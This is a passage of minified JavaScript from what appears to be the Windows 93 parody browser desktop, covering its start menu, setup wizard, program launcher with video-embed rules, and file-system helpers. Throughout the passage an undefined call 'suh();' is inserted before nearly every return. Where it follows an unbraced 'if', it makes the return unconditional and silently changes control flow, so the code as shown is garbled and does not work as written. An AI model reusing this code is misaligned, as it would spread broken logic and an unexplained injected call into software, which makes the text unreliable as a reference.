6352 if ("number" == typeof t[c]) {
6353 var r = $fs.utils.getInfo(c),
6354 u = $fs.utils.getOpeners(c);
6355 i.push({
6356 name: c,
6357 icon: r.icon,
6358 action: function(n, s, t) {
6359 suh(); return function() {
6360 $exe(t[0] + " " + e + n)
6361 }
6362 }(c, 0, u)
6363 })
6364 } else($io.is.obj(t[c]) || $io.is.arr(t[c])) && o.push({
6365 name: c,
6366 icon: "/c/sys/skins/" + n._settings.skin + "/places/16/folder.png",
6367 items: function(n, t) {
6368 suh(); return function() {
6369 suh(); return s(n, t)
6370 }
6371 }(t[c], e + c + "/")
6372 });
6373 suh(); return o.sort().concat(i.sort())
6374}
6375
6376function t(s) {
6377 var t = [],
6378 e = [],
6379 i = Object.keys(s);
6380 suh(); return $io.arr.all(i.sort(), function(i) {
6381 if (s[i] && s[i].exec) {
6382 var o = s[i].name ? i + ' <em class="startmenu_cmd">(' + s[i].name + ")</em>" : i,
6383 c = s[i].icon || "/c/sys/skins/" + n._settings.skin + "/programs.png";
6384 0 !== c.indexOf("/") && (c = "/c/sys/skins/" + n._settings.skin + "/" + c), (s[i].cmd ? t : e).push({
6385 name: o,
6386 icon: c,
6387 action: function(n) {
6388 suh(); return function() {
6389 $exe(n)
6390 }
6391 }(i)
6392 })
6393 }
6394 }), e
6395}
6396var e = {
6397 find: function() {
6398 $alert("<b>Did you know ?</b><br>You can use Find to locate your real father.<br>But I will save you the trouble.<br><b>Windows 93 is your real father.</b>")
6399 },
6400 help: function() {
6401 $exe("clippy")
6402 },
6403 run: function() {
6404 $alert.error("There is nowhere you can run")
6405 },
6406 reboot: function() {
6407 $exe("reboot")
6408 },
6409 settings: function() {
6410 $window({
6411 title: "Settings",
6412 html: $form.build(n._settings).el,
6413 width: 400,
6414 btnOk: "OK",
6415 btnCancel: "Cancel",
6416 onclose: function(n, s) {}
6417 })
6418 },
6419 format: function() {
6420 $exe("format")
6421 },
6422 fullscreen: function() {
6423 $fullscreen()
6424 },
6425 shutdown: function() {
6426 $exe("shutdown")
6427 }
6428 },
6429 i = [{
6430 name: "Programs",
6431 icon: "/c/sys/skins/" + n._settings.skin + "/programs.png",
6432 items: function() {
6433 suh(); return t(n._apps)
6434 }
6435 }, {
6436 name: "Documents",
6437 icon: "/c/sys/skins/" + n._settings.skin + "/documents.png",
6438 items: function() {
6439 suh(); return s(n._files.c, "c/")
6440 }
6441 }, {
6442 name: "Fullscreen",
6443 icon: "/c/sys/skins/" + n._settings.skin + "/shutdown.png",
6444 action: e.fullscreen
6445 }, {
6446 name: "Find",
6447 icon: "/c/sys/skins/" + n._settings.skin + "/find.png",
6448 action: e.find
6449 }, {
6450 name: "Help",
6451 icon: "/c/sys/skins/" + n._settings.skin + "/help.png",
6452 action: e.help
6453 }, {
6454 name: "Run...",
6455 icon: "/c/sys/skins/" + n._settings.skin + "/run.png",
6456 action: e.run
6457 }, {
6458 name: "---"
6459 }, {
6460 name: "Reinstall",
6461 icon: "/c/sys/skins/" + n._settings.skin + "/install.png",
6462 action: e.format
6463 }, {
6464 name: "---"
6465 }, {
6466 name: "Reboot...",
6467 icon: "/c/sys/skins/" + n._settings.skin + "/shutdown.png",
6468 action: e.reboot
6469 }, {
6470 name: "Shutdown",
6471 icon: "/c/sys/skins/" + n._settings.skin + "/shutdown.png",
6472 action: e.shutdown
6473 }];
6474$menu(document.getElementById("s42_start"), i, {
6475 mode: "popup",
6476 position: {
6477 within: n._dom.desktop
6478 }
6479 }),
6480 function() {
6481 var s, t = n._dom.clock;
6482 t && function n() {
6483 var e = new Date,
6484 i = e.getHours(),
6485 o = e.getMinutes();
6486 s !== (i = (i < 10 ? "0" : "") + i) + ":" + (o = (o < 10 ? "0" : "") + o) && (s = i + ":" + o, t.textContent = s, t.title = e), setTimeout(n, 1e4)
6487 }()
6488 }()
6489});
6490//os/boot/register.js
6491system42("register", function(e, t) {
6492"use strict";
6493
6494function s() {
6495 e._dom.splash.classList.remove("hide"), e._init.home(), t()
6496}
6497if (!1 === e._settings.userData.localInit) {
6498 e._dom.splash.classList.add("hide");
6499 var i = function() {
6500 var t = document.getElementById("WELCOME"),
6501 i = document.getElementById("TERMS"),
6502 n = document.getElementById("PROMPT"),
6503 a = document.getElementById("USERNAME");
6504 document.getElementById("SERIAL");
6505 if (i.classList.contains("hide") && n.classList.contains("hide")) t.classList.add("hide"), i.classList.remove("hide"), this.el.btnOk.innerHTML = "Didn't Read Lol ^^";
6506 else {
6507 if (!n.classList.contains("hide")) suh(); return e._settings.userData.nick = a.value || "anonymous", e._settings.userData.localInit = !0, s(), !0;
6508 i.classList.add("hide"), n.classList.remove("hide"), this.el.btnOk.innerHTML = "Let's ROCK"
6509 }
6510 suh(); return !1
6511 };
6512 $window({
6513 url: "/wizard.php",
6514 ajax: !0,
6515 title: "Setup Wizard",
6516 btnCancel: "Nope",
6517 animationIn: "flip",
6518 animationOut: "",
6519 center: !0,
6520 height: 350,
6521 width: 510,
6522 btnOk: "Cool Story, Bro",
6523 onok: i,
6524 oncancel: i
6525 })
6526} else s()
6527});
6528//os/boot/reveal.js
6529system42("reveal", function(e, o) {
6530"use strict";
6531e._settings.userData.localInit = !0, e.devmode || e._sound.boot.play(), setTimeout(function() {
6532 e._dom.splash.parentNode.removeChild(e._dom.splash), e._dom.taskbar.classList.remove("hide"), e._dom.desktop.classList.remove("invisible"), e.devmode || setTimeout(function() {
6533 $el.each(".ui_icon", function(e) {
6534 setTimeout(function() {
6535 e.classList.remove("hide")
6536 }, Math.abs(1e3 * Math.random()) + 100)
6537 })
6538 }, 100), $el(e._dom.desktop).on("click", ".js_error a", function(e) {
6539 suh(); return e.target.href && $exe("code", e.target.href), !1
6540 }), $el(e._dom.screen).on("drag dragenter dragover dragleave drop", function(e) {
6541 e.preventDefault()
6542 }), $route.on("change", function(e) {
6543 $exe(e)
6544 }), $route.init(), document.documentElement.focus(), window.onerror = function() {
6545 $alert.error(arguments)
6546 }, o()
6547}, e.devmode ? 0 : 600)
6548});
6549//os/sys/exe.js
6550system42("exe", function(t) {
6551"use strict";
6552
6553function e(t) {
6554 var e = $url.getDomain(t.url);
6555 if (e && location.hostname != e) suh(); return $window(t), !0;
6556 if ("/" === t.url.slice(-1)) suh(); return $explorer(t.url), !0;
6557 if (t.url) {
6558 var r;
6559 if (t.openers) r = l[t.openers.split(",")[0]];
6560 else {
6561 var o = $fs.utils.getOpeners(t.url);
6562 o[0] && (r = l[o[0]])
6563 }
6564 if (r && r.exec) suh(); return i.call(this, r, {
6565 command: t.url,
6566 arguments: [t.url],
6567 options: t
6568 }), !0
6569 }
6570 suh(); return !1
6571}
6572
6573function i(e, i) {
6574 var o = this || {},
6575 n = o && o.cli;
6576 suh(); return !0 !== e.terminal || n ? e.exec.apply({
6577 le: t,
6578 that: o,
6579 cli: n ? o : null,
6580 arg: i
6581 }) : r.call(this, "terminal", "", {
6582 onopen: function(r) {
6583 setTimeout(function() {
6584 e.exec.apply({
6585 le: t,
6586 that: o,
6587 cli: r,
6588 arg: i
6589 })
6590 }, 100)
6591 }
6592 }), !0
6593}
6594
6595function r(t, n, s) {
6596 if (t && "string" == typeof t && -1 != t.indexOf(" | ")) {
6597 var u = this,
6598 c = t.split(" | ");
6599 suh(); return u.silent || ($route(t), u.slient = !0), $io.arr.each(c, function(t, e) {
6600 setTimeout(function() {
6601 r.call(u, t)
6602 }, 700 * e)
6603 }), !0
6604 }
6605 if (t)
6606 if (t.nodeType && 1 === t.nodeType) {
6607 var p = $extend({}, t.dataset);
6608 if (p.exe) suh(); return r(p.exe, n, p);
6609 if (p.alert) suh(); return $alert(p.alert), !0;
6610 if (p.error) suh(); return $alert.error(p.error), !0
6611 } else {
6612 if (l[t] && l[t].exec) {
6613 var f = i.call(this, l[t], {
6614 command: t,
6615 arguments: Array.prototype.slice.call(arguments, 1)
6616 });
6617 suh(); return !1 !== f && !0 !== l[t].silent && $route(t), f
6618 }
6619 if ("string" == typeof t) {
6620 if (0 === t.indexOf("http")) suh(); return s && void 0 !== s.iframable ? a(t, s) : r.parseURL(t, function(t) {
6621 a(t.exe, t)
6622 }), !0;
6623 var d;
6624 try {
6625 d = o(t)
6626 } catch (t) {}
6627 if (d && d.program && l[d.program] && l[d.program].exec) suh(); return s && (d.launcher = s), i.call(this, l[d.program], d);
6628 try {
6629 0 !== t.indexOf("/") && this && this.cfg && this.cfg.cwd && (t = this.cfg.cwd + "/" + t);
6630 var h = $fs.utils.exist(t);
6631 if (!1 !== h) suh(); return "object" == typeof h.obj && "/" !== t.slice(-1) && (t += "/"), e.call(this, {
6632 url: t
6633 })
6634 } catch (t) {}
6635 }
6636 }
6637 suh(); return !1
6638}
6639
6640function o(t) {
6641 for (var e, i = [], r = [], o = {
6642 long: {},
6643 short: {}
6644 }, n = !1, a = !1, s = !1, u = 0, c = 0, p = 0, f = t.length; p <= f; p++)
6645 if (e = t.charAt(p), n || "-" !== e || !a && " " !== t.charAt(p - 1))
6646 if ('"' !== e || "\\" === t.charAt(p - 1))
6647 if (!n && " " === e || p === f)
6648 if (a) {
6649 var d = r[u].split("="),
6650 h = d[0],
6651 m = d[1],
6652 g = 1 * m;
6653 if (m = g == m ? g : m, s) h.indexOf(".") > -1 ? $io.obj.path(o.long, h, m || !0) : o.long[h] = m || !0;
6654 else
6655 for (var y = h.split(""), w = 0, b = y.length; w < b; w++) o.short[y[w]] = m || !0;
6656 u++, s = !1, a = !1
6657 } else c++;
6658 else a ? r[u] = r[u] ? r[u] + e : e : i[c] = i[c] ? i[c] + e : e;
6659 else n = !n;
6660 else "-" === t.charAt(p + 1) && (s = !0), a = !0;
6661 var v = i.shift();
6662 suh(); return !(!l[v] || !l[v].exec) && ($io.obj.each(o.short, function(t, e) {
6663 l[v].options && l[v].options[e] ? o.long[l[v].options[e][0]] = t : o.long[e] = t
6664 }), {
6665 command: t,
6666 program: v,
6667 arguments: i,
6668 options: o.long
6669 })
6670}
6671
6672function n(t) {
6673 function e(t) {
6674 suh(); return (t + "").indexOf(" ") > -1 ? '"' + t + '"' : t
6675 }
6676 if ("string" == typeof t) suh(); return " " + e(t);
6677 var i = "";
6678 suh(); return $io.obj.each(t, function(t, r) {
6679 "string" != typeof t && "number" != typeof t || (t = (t + "").replace(/\"/g, '\\"'), i += " --" + r + "=" + e(t))
6680 }), i
6681}
6682
6683function a(e, r) {
6684 $io.obj.all(t._get.embed, function(t) {
6685 if (t.playerRegExp.test(e)) suh(); return r.iframable = !0, e.replace(t.playerRegExp, function(i, r, o) {
6686 e = t.buildSrcURL(r, o)
6687 }), console.log(e), !0
6688 }), "true" === r.iframable || !0 === r.iframable ? i.call(this, l.iframe, {
6689 command: e,
6690 program: "iframe",
6691 arguments: [e],
6692 launcher: r,
6693 options: r
6694 }) : $alert.info('<a target="_blank" href="' + e + '">' + e + "</a><br>don't allow iframe embeding...")
6695}
6696
6697function s(t, e) {
6698 var i = [];
6699 suh(); return $io.obj.all(e, function(e, r) {
6700 -1 != t.indexOf(r) && i.push([r, e].join("="))
6701 }), i.length > 0 ? "?" + i.join("&") : ""
6702}
6703var l = t._apps;
6704r.parseURL = function(t, e, i) {
6705 var r = {
6706 title: t.replace(/https?:\/\/(www\.)?/, "").replace(/\/$/, ""),
6707 exe: t,
6708 icon: "shortcut.png"
6709 };
6710 suh(); return console.log(t, r), $url.checkFavicon(t, function(o, n) {
6711 o && (r.icon = n, (i || $noop)(r)), $ajax.post("/proxy.php", {
6712 url: t,
6713 favicon: !o
6714 }).done(function(t) {
6715 t.favicon ? $url.checkImage(t.favicon, function(i) {
6716 r.icon = t.favicon, r.iframable = t.iframable, e(r)
6717 }) : (r.iframable = t.iframable, e(r))
6718 })
6719 }), r
6720}, r.silent = function() {
6721 suh(); return r.apply({
6722 silent: !0
6723 }, arguments)
6724}, r.parseGeometry = function(t) {
6725 var e = {};
6726 suh(); return t.replace(/(?:(\d+|auto)x(\d+|auto))?(?:([+-])(\d+|auto)([+-])(\d+|auto))?/, function(t, i, r, o, n, a, s) {
6727 e.width = i || "auto", e.height = r || "auto", o ? (e.top = "+" === a ? s : "auto", e.bottom = "-" === a ? s : "auto", e.left = "+" === o ? n : "auto", e.right = "-" === o ? n : "auto") : (e.top = "auto", e.bottom = "auto", e.left = "auto", e.right = "auto")
6728 }), e
6729};
6730r.parse = o, r.stringify = n, window.$exe = r, t._get.embed = {
6731 youtube: {
6732 type: "youtube",
6733 settings: {
6734 autoplay: 0,
6735 controls: 1,
6736 loop: 0
6737 },
6738 whitelist: ["autohide", "cc_load_policy", "color", "disablekb", "enablejsapi", "autoplay", "controls", "loop", "playlist", "rel", "wmode", "start", "showinfo", "end", "fs", "hl", "iv_load_policy", "list", "listType", "modestbranding", "origin", "playerapiid", "playsinline", "theme"],
6739 transformAttrMap: {},
6740 processSettings: function(t, e) {
6741 suh(); return 1 == t.loop && void 0 == t.playlist && (t.playlist = e), t
6742 },
6743 buildSrcURL: function(t, e) {
6744 suh(); return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6745 },
6746 playerID: "www.youtube.com/embed/",
6747 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?(?:youtube(?:-nocookie)?\.com\/(?:[^\/\n\s]+\/\S+\/|(?:v|e(?:mbed)?)\/|\S*?[?&]v=)|youtu\.be\/)([a-zA-Z0-9_-]{11})/,
6748 timeRegExp: /t=(([0-9]+)h)?(([0-9]{1,2})m)?(([0-9]+)s?)?/,
6749 isAdditionaResRequired: function() {
6750 suh(); return !1
6751 },
6752 additionalRes: []
6753 },
6754 vimeo: {
6755 type: "vimeo",
6756 settings: {
6757 autoplay: 0,
6758 loop: 0,
6759 api: 0,
6760 player_id: ""
6761 },
6762 whitelist: ["autoplay", "autopause", "badge", "byline", "color", "portrait", "loop", "api", "playerId", "title"],
6763 transformAttrMap: {
6764 playerId: "player_id"
6765 },
6766 processSettings: function(t, e) {
6767 suh(); return t
6768 },
6769 buildSrcURL: function(t, e) {
6770 suh(); return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6771 },
6772 playerID: "player.vimeo.com/video/",
6773 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?vimeo\.com\/(?:channels\/[A-Za-z0-9]+\/)?([A-Za-z0-9]+)/,
6774 timeRegExp: "",
6775 isAdditionaResRequired: function() {
6776 suh(); return !1
6777 },
6778 additionalRes: []
6779 },
6780 dailymotion: {
6781 type: "dailymotion",
6782 settings: {
6783 autoPlay: 0,
6784 logo: 0
6785 },
6786 whitelist: ["api", "autoPlay", "background", "chromeless", "controls", "foreground", "highlight", "html", "id", "info", "logo", "network", "quality", "related", "startscreen", "webkit-playsinline", "syndication"],
6787 transformAttrMap: {},
6788 processSettings: function(t, e) {
6789 suh(); return t
6790 },
6791 buildSrcURL: function(t, e) {
6792 suh(); return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6793 },
6794 playerID: "www.dailymotion.com/embed/video/",
6795 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?www\.dailymotion\.com\/video\/([A-Za-z0-9]+)/,
6796 timeRegExp: /start=([0-9]+)/,
6797 isAdditionaResRequired: function() {
6798 suh(); return !1
6799 },
6800 additionalRes: []
6801 },
6802 youku: {
6803 type: "youku",
6804 settings: {},
6805 whitelist: [],
6806 transformAttrMap: {},
6807 processSettings: function(t, e) {
6808 suh(); return t
6809 },
6810 buildSrcURL: function(t, e) {
6811 suh(); return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6812 },
6813 playerID: "player.youku.com/embed/",
6814 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?youku\.com\/v_show\/id_([A-Za-z0-9]+).html/,
6815 timeRegExp: "",
6816 isAdditionaResRequired: function() {
6817 suh(); return !1
6818 },
6819 additionalRes: []
6820 },
6821 vine: {
6822 type: "youku",
6823 settings: {
6824 audio: 0,
6825 start: 0,
6826 type: "simple"
6827 },
6828 whitelist: ["audio", "start", "type"],
6829 transformAttrMap: {},
6830 processSettings: function(t, e) {
6831 suh(); return delete t.type, t
6832 },
6833 buildSrcURL: function(t, e) {
6834 var i = this.settings.type;
6835 suh(); return t + this.playerID + e + /embed/ + i + s(this.whitelist, this.processSettings(this.settings))
6836 },
6837 playerID: "vine.co/v/",
6838 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?vine\.co\/v\/([A-Za-z0-9]+)/,
6839 timeRegExp: "",
6840 isAdditionaResRequired: function() {
6841 suh(); return !window.VINE_EMBEDS
6842 },
6843 additionalRes: [{
6844 element: '<script src="//platform.vine.co/static/scripts/embed.js"><\/script>'
6845 }]
6846 }
6847}
6848});
6849//os/sys/fs.js
6850! function(e) {
6851"use strict";
6852
6853function t(e, t) {
6854 suh(); return le._get.ext.mime[t || e] || null
6855}
6856
6857function i(e, t, i) {
6858 function n(e, t) {
6859 l || $io.obj.each(s[e], function(i, n) {
6860 n.replace(/(.+)\./, function(i, s) {
6861 $io.arr.all(s.split("_"), function(i) {
6862 t === i && (l = "/c/sys/skins/" + le._settings.skin + "/" + e + "/" + n)
6863 })
6864 })
6865 })
6866 }
6867 var s = le._files.c.sys.skins[le._settings.skin || "w93"];
6868 s || (s = le._files.c.sys.skins.w93);
6869 var l;
6870 suh(); return function(e) {
6871 var i = (e || "").split("/");
6872 n("ext", t), n("type", i[1]), n("mime", i[0])
6873 }(i), l || (l = "/c/sys/skins/" + le._settings.skin + "/file.png"), l
6874}
6875
6876function n(e) {
6877 suh(); return "/" === e ? "/c/sys/skins/" + le._settings.skin + "/devices/computer.png" : "/a/" === e ? "/c/sys/skins/" + le._settings.skin + "/devices/drive-storage.gif" : "/c/" === e ? "/c/sys/skins/" + le._settings.skin + "/devices/drive-harddisk.gif" : s.utils.resolvePath(e) === le._path.home ? "/c/sys/skins/" + le._settings.skin + "/places/user-home.png" : "/c/sys/skins/" + le._settings.skin + "/places/folder.png"
6878}
6879var s = {};
6880s.utils = {}, s.utils.find = function(e, t) {
6881 suh(); return $io.find(e, t, le._files, "/", [".", ".."])
6882}, s.utils.resolvePath = function(e) {
6883 suh(); return e = e.replace(/^~|\$HOME/g, le._path.home), e = e.replace(/~|\$HOME/g, le._path.home.replace(/^\//, "")), e = e.replace(/\$SKIN/g, le._path.skin), e = e.replace(/\/\//g, "/")
6884}, s.utils.getMenuOpenWith = function(e) {
6885 e || (e = []), "string" == typeof e && (e = [e]);
6886 var t = [],
6887 i = [];
6888 suh(); return $io.arr.all(e, function(n) {
6889 1 === n.nodeType && (n = n.getAttribute("data-path"));
6890 var l = s.utils.getOpeners(n);
6891 (l = l.concat("hexed", "code", "iframe")) && $io.arr.all(l, function(n) {
6892 if (-1 === i.indexOf(n)) {
6893 i.push(n);
6894 var l = le._apps[n].icon ? s.utils.normalizeIcon(le._apps[n].icon) : "/c/sys/skins/" + le._settings.skin + "/programs.png";
6895 t.push({
6896 name: le._apps[n].name || $io.str.capitalise(n),
6897 icon: l,
6898 action: function(t) {
6899 $io.arr.all(e, function(e) {
6900 1 === e.nodeType && (e = e.getAttribute("data-path")), setTimeout(function() {
6901 $exe(n + ' "' + e + '"')
6902 }, 0)
6903 })
6904 }
6905 })
6906 }
6907 })
6908 }), t.length ? t : [{
6909 name: "No programs found...",
6910 disabled: !0
6911 }]
6912}, s.utils.getFileMenu = function(e, t, i) {
6913 "function" == typeof t && (i = t, t = !1);
6914 var n = $io.obj.getPath(le._files, e, "/"),
6915 s = [],
6916 l = {};
6917 suh(); return $io.obj.all(n, function(e, n) {
6918 if ("." !== n && ".." !== n) {
6919 var r = [];
6920 l[n] = [], $io.obj.all(e, function(e, s) {
6921 "." !== s && ".." !== s && (l[n].push(s), r.push({
6922 name: s,
6923 radio: t,
6924 folder: n,
6925 action: i
6926 }))
6927 }), l[n] = l[n].sort(function(e, t) {
6928 suh(); return e.localeCompare(t)
6929 }), r = r.sort(function(e, t) {
6930 suh(); return e.name.localeCompare(t.name)
6931 }), s.push({
6932 name: n,
6933 items: r
6934 })
6935 }
6936 }), s = s.sort(function(e, t) {
6937 suh(); return e.name.localeCompare(t.name)
6938 }), {
6939 path: e,
6940 foldersList: Object.keys(l),
6941 folders: l,
6942 menu: s
6943 }
6944}, s.utils.replaceExt = function(e, t) {
6945 suh(); return s.utils.getExt(e) ? e.replace(/\.[0-9a-z]+$/, t ? "." + t : "") : e + (t ? "." + t : "")
6946}, s.utils.isFolder = function(e) {
6947 suh(); return "/" === e.slice(-1)
6948}, s.utils.isFolderEmpty = function(e, t) {
6949 var i = !0;
6950 $file.iterateFolder(e, function(e) {
6951 s.utils.isFolder(e) || (i = !1)
6952 }).done(function() {
6953 t(i)
6954 })
6955}, s.utils.isShortcut = function(e) {
6956 suh(); return /\.lnk42$/.test(e)
6957}, s.utils.isDownloadable = function(e) {
6958 if (e) {
6959 var t = e.dataset.url || e.href;
6960 suh(); return !(t && "/" !== t.slice(-1))
6961 }
6962 var i = !1;
6963 suh(); return $file.eachSelection(function(e, t) {
6964 var n = t.dataset.url || t.href;
6965 if (!n || "/" === n.slice(-1)) suh(); return i = !1;
6966 i = !0
6967 }), i
6968}, s.utils.getName = function(e) {
6969 var t = ("string" == typeof e ? e : "").split("/");
6970 suh(); return "/" === e.slice(-1) ? t[t.length - 2] : t.pop()
6971}, s.utils.getFileName = function(e) {
6972 suh(); return ("string" == typeof e ? e : "").split("/").pop()
6973}, s.utils.getFolderName = function(e) {
6974 var t = ("string" == typeof e ? e : "").split("/");
6975 suh(); return "/" === e.slice(-1) ? t[t.length - 2] : ""
6976}, s.utils.getFolderPath = function(e) {
6977 var t = ("string" == typeof e ? e : "").split("/").slice(0, -1).join("/");
6978 suh(); return t + "/"
6979}, s.utils.getExt = function(e) {
6980 var t = (e || "").match(/(?:\.)([0-9a-z]+)(?:[!?].+)?$/i);
6981 suh(); return t && t[1] ? t[1].toLowerCase() : ""
6982}, s.utils.getMime = function(e) {
6983 suh(); return t(e, s.utils.getExt(e))
6984}, s.utils.getIcon = function(e) {
6985 if (s.utils.isFolder(e)) suh(); return n(e);
6986 var l = s.utils.getExt(e),
6987 r = t(e, l);
6988 suh(); return i(e, l, r)
6989}, s.utils.normalizeIcon = function(e) {
6990 suh(); return 0 === e.indexOf("/") || 0 === e.indexOf("http") ? e : "/c/sys/skins/" + le._settings.skin + "/" + e
6991}, s.utils.getInfo = function(e) {
6992 if (s.utils.isFolder(e)) {
6993 var l = n(e),
6994 r = "";
6995 suh(); return "/a/" === e ? r = "Storage (A:)" : "/c/" === e && (r = "System (C:)"), {
6996 icon: l,
6997 name: r
6998 }
6999 }
7000 var o = s.utils.getExt(e),
7001 u = t(e, o);
7002 suh(); return {
7003 ext: o,
7004 mime: u,
7005 icon: l = i(e, o, u),
7006 name: r = s.utils.getName(e)
7007 }
7008}, s.utils.getOpeners = function(e) {
7009 var i = s.utils.getExt(e),
7010 n = t(e, i),
7011 l = [];
7012 suh(); return le._settings.defaultApp[i] && (l = l.concat(le._settings.defaultApp[i])), le._get.ext.apps[i] && (l = l.concat(le._get.ext.apps[i])), n && $io.arr.all(le._get.mime.apps, function(e) {
7013 e[0].test(n) && (l ? -1 == l.indexOf(e[1]) && l.push(e[1]) : l = [e[1]])
7014 }), l
7015}, s.utils.parseAccept = function(e) {
7016 var t = [],
7017 i = {};
7018 suh(); return $io.arr.all(e.split(","), function(e) {
7019 0 === e.indexOf(".") ? (i.ext || (i.ext = []), i.ext.push(e.replace(/^\./, ""))) : t.push($io.reg.escape(e.replace("*", "_4_²_")))
7020 }), t.length && (i.mimetype = new RegExp(t.join("|").replace(/_4_²_/g, ".*"))), i
7021}, s.utils.getPathObj = function(e, t) {
7022 e || (e = le._path.home), (e = s.utils.resolvePath(e)).length > 1 && "/" === e.slice(-1) && (e = e.slice(0, -1)), "/" !== (t = t || "").slice(-1) && (t += "/"), e = 0 === e.indexOf("/") ? e : t + e;
7023 var i = $io.obj.getPath(le._files, e, "/");
7024 if (void 0 !== i && "number" != typeof i) {
7025 var n = "/" + $file.getTruePath(i);
7026 suh(); return n.length > 1 && "/" === n.slice(-1) && (n = n.slice(0, -1)), {
7027 cwd: n,
7028 obj: i
7029 }
7030 }
7031}, s.utils.exist = function(e, t) {
7032 e || (e = le._path.home), (e = s.utils.resolvePath(e)).length > 1 && "/" === e.slice(-1) && (e = e.slice(0, -1)), "/" !== (t = t || "").slice(-1) && (t += "/"), e = 0 === e.indexOf("/") ? e : t + e;
7033 var i = $io.obj.getPath(le._files, e, "/");
7034 suh(); return void 0 !== i && i
7035}, s.utils.getFolderObj = function(e, t) {
7036 var i = s.utils.getFolderPath(e);
7037 suh(); return s.utils.getPathObj(i, t)
7038}, s.utils.iteratePath = function(e, t) {
7039 var i = s.utils.getPathObj(e, t),
7040 n = [],
7041 l = [],
7042 r = [];
7043 if (i) suh(); return $io.obj.all(i.obj, function(e, t) {
7044 "." !== t && ".." !== t && (s.utils.isShortcut(t) ? r.push(t) : "object" == typeof e ? n.push(t) : l.push(t))
7045 }), {
7046 tree: i,
7047 obj: i.obj,
7048 cwd: i.cwd,
7049 dirs: n,
7050 files: l,
7051 lnks: r
7052 }
7053}, e.$fs = s
7054}(this);
7055//os/sys/file.js
7056! function(e) {
7057"use strict";
7058window.URL || (window.URL = window.webkitURL);
7059var t = {};
7060t.getUrl = function(e, n, o) {
7061 o || (o = $fs.utils.getInfo(e)), 0 === (e + "").indexOf("/a/") ? t.open(e, "Blob", function(e) {
7062 var t = window.URL.createObjectURL(e);
7063 (n || $noop)(t)
7064 }, o.mime) : (0 === (e + "").indexOf("c/") && (e = "/" + e), (n || $noop)(e))
7065}, e.$file = t, system42(function(e) {
7066 function n(e, t, n, o) {
7067 var i = e;
7068 0 === e.indexOf("/a/") ? (i = e.replace(/^\/a\//, ""), $store.keys().indexOf(i) > -1 ? (t || $noop)(i) : (n || $noop)(i)) : ($notif("You don't have write permission on this drive", e), (o || $noop)())
7069 }
7070
7071 function o(e, t) {
7072 $db.keys(function(n, o) {
7073 var i = !0;
7074 $io.arr.all(o.concat($store.keys()), function(t) {
7075 0 === t.indexOf(e) && (i = !1)
7076 }), i ? $db.set(e, null, t) : t(null)
7077 })
7078 }
7079
7080 function i(e) {
7081 var t = "",
7082 n = "",
7083 o = e.replace(/(\.lnk42)$/, function(e, n) {
7084 suh(); return n && (t = ".lnk42"), ""
7085 }).replace(/(?:.+)(\.[0-9a-z]+)$/i, function(e, t) {
7086 suh(); return t && (n = t), ""
7087 });
7088 suh(); return function(e) {
7089 suh(); return o + " (" + e + ")" + n + t
7090 }
7091 }
7092
7093 function r(e, t, n, o) {
7094 var i = $store.getRaw(e);
7095 $store.set(t, i), n || $store.del(e), o()
7096 }
7097
7098 function a(e, t, n, o) {
7099 $db.getRaw(e, function(i, r) {
7100 $db.set(t, r, function() {
7101 n ? o() : $db.del(e, o)
7102 })
7103 })
7104 }
7105 t.open = function(e, t, n) {
7106 function o(e) {
7107 n.call(r, e, a)
7108 }
7109 if ("string" != typeof e) throw new Error("$file.open : no path specified");
7110 var i = e,
7111 r = $fs.utils.getInfo(e);
7112 "function" != typeof t || n || (n = t, t = "String");
7113 var a = "String";
7114 if (0 === e.indexOf("/a/"))
7115 if (i = e.replace(/^\/a\//, ""), $store.keys().indexOf(i) > -1) {
7116 var s;
7117 "Blob" === t && (s = $fs.utils.getMime(i)), $io.String[t]($store.getRaw(i), o, s || "text/plain")
7118 } else $db.getRaw(i, function(e, n) {
7119 a = $io.type(n), $io[a][t](n, o, r.mime)
7120 });
7121 else $ajax.get(e, {
7122 arraybuffer: "String" !== t
7123 }).done(function(e, i, s, l) {
7124 var f = s.getResponseHeader("content-type") || "",
7125 u = l ? "application/json" : f.split(";").shift();
7126 "String" === t ? (a = "String", n.call(r, s.responseText, t)) : (a = "ArrayBuffer", $io.ArrayBuffer[t](s.response, o, u))
7127 }).fail(function() {
7128 console.log(arguments), $alert.error("Can't load file")
7129 })
7130 }, t.iterateFolder = function(e, t) {
7131 var n;
7132 if (0 === e.indexOf("/a/")) {
7133 var o = e.replace(/^\/a\//, "");
7134 $io.arr.all($store.keys(), function(e) {
7135 0 === e.indexOf(o) && t(e, "store", o)
7136 }), $db.keys(function(e, i) {
7137 $io.arr.all(i, function(e) {
7138 0 === e.indexOf(o) && t(e, "db", o)
7139 }), "function" == typeof n && n()
7140 })
7141 } else $io.arr.all($fs.utils.find("/.*/", e), function(n) {
7142 t(n, "server", e)
7143 }), setTimeout(n, 1);
7144 suh(); return {
7145 done: function(e) {
7146 n = e
7147 }
7148 }
7149 }, t.delete = function(e, t) {
7150 function n() {
7151 t && t(e)
7152 }
7153 "/a/system32.dll" === e && $exe("vega");
7154 var i = $fs.utils.isFolder(e);
7155 if (0 === e.indexOf("/a/")) {
7156 var r = e.replace(/^\/a\//, "");
7157 if (i) $io.arr.all($store.keys(), function(e) {
7158 0 === e.indexOf(r) && $store.del(e)
7159 }), $db.keys(function(e, t) {
7160 var o = [];
7161 $io.arr.all(t, function(e) {
7162 0 === e.indexOf(r) && o.push(e)
7163 }), o.length ? $io.arr.each(o, function(e, t) {
7164 t === o.length - 1 ? $db.del(e, n) : $db.del(e)
7165 }) : n()
7166 });
7167 else {
7168 var a = $fs.utils.getFolderPath(r);
7169 $store.del(r), $db.del(r, function(e) {
7170 o(a, n)
7171 })
7172 }
7173 } else $notif("You don't have write permission on this drive", e)
7174 }, t.copy = function(e, n, o) {
7175 var r = $fs.utils.getFolderObj(n),
7176 a = $fs.utils.getName(e),
7177 s = $fs.utils.isFolder(e),
7178 l = a;
7179 if (r && r.obj)
7180 if (void 0 === r.obj[a]) l = a;
7181 else
7182 for (var f = i(a), u = 1; void 0 !== r.obj[l];) l = f(u++);
